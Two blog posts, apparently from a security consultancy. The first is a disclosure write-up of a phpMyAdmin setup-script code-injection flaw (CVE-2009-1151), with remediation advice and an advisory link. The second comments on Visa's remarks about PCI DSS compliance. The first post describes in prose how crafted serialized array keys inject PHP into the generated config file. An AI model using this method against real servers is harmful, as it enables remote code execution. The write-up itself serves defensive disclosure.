During an evaluation of tools for internal use, we took a look at phpMyAdmin. During the assessment, we identified that the scripts/setup.php script is used to generate a configuration file to config/config.inc.php. Anytime PHP code is being generated, extremely careful filtering must be done to ensure that the intended output cannot be escaped and will not allow the injection of arbitrary code.

While the most obvious inputs, those set by the configuration fields, were escaped properly, other attacker accessible data was not. The script passes PHP serialized data back and forth through the configuration parameter. When a save action is performed, this data is then written as PHP variables to the configuration file. The data contains associative arrays with key and value pairs. On output, the values are properly escaped using add_slashes, however the keys that are also output are not filtered. By modifying the array keys in the serialized data passed to a save POST request, the key name can be escaped and arbitrary PHP code injected. If config/ is writable by the web server user, the config.inc.php file is written to it and can be executed directly out of the document root.

The issue was disclosed to the phpMyAdmin team and they did an amazing job responding to this disclosure with a patch out in less than 24 hours!

Lessons learned? Anytime you are programmatically generating code (be it HTML, JavaScript, PHP, etc.) ensure that your output is properly filtered and make sure all installation scripts and unneeded administration tools are removed.

References:
Advisory: http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php
Patch: http://phpmyadmin.svn.sourceforge.net/viewvc/phpmyadmin?view=rev&revision=12301
CVE: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-1151


Response to Visa’s Chief Enterprise Risk Officer comments on PCI DSS

March 27, 2009

Visa’s Chief Enterprise Risk Officer, Ellen Richey, recently presented at the Visa Security Summit on March 19th. One of the valuable points made in her presentation was defending the value of implementing PCI DSS to protect against data theft. In addition, Ellen Richey spoke about the challenge organizations face, not only becoming compliant, but proactively maintaining compliance, defending against attacks and protecting sensitive information.

Recent compromises of payment processors and merchants that were stated to be PCI compliant have brought criticism to the PCI program. Our views are strongly aligned with the views presented by Ellen Richey. While the current PCI program requires an annual audit, this audit is simply an annual health-check. If you were to view the PCI audit like a state vehicle inspection. Even though at the time of the inspection everything on your car checks out, this does not prevent the situation of days later your brake lights go out. You would still have a valid inspection sticker, but are no longer in compliance with safety requirements. It is the owner’s responsibility to ensure the car is maintained appropriately. Similarly in PCI, it is the company’s responsibility to ensure the effectiveness and maintenance of controls to protect their data in an ongoing manner.

Ellen Richey also mentioned increased collaboration with the payment card industry, merchants and consumers. Collaboration is a key step to implementing the technology and processes necessary to continue reducing fraud and data theft. From a merchant, service provider and payment processor perspective, new technologies and programs will continue to reduce transaction risk, but, today, there are areas where these organizations need to proactively improve. The PCI DSS standard provides guidance around the implementation of controls to protect data. Though in addition to protecting data, merchants, service providers and processors need to proactively address their ability to detect attack and be prepared to respond effectively in the event of a compromise. These are two areas that are not currently adequately addressed by the PCI DSS and are areas where we continue to see organizations lacking.

See the following link to the Remarks by Ellen Richey, Chief Enterprise Risk Officer, Visa Inc. at the Visa Security Summit, March 19, 2009:

http://www.corporate.visa.com/md/dl/documents/downloads/EllenRichey09SummitRemarks.pdf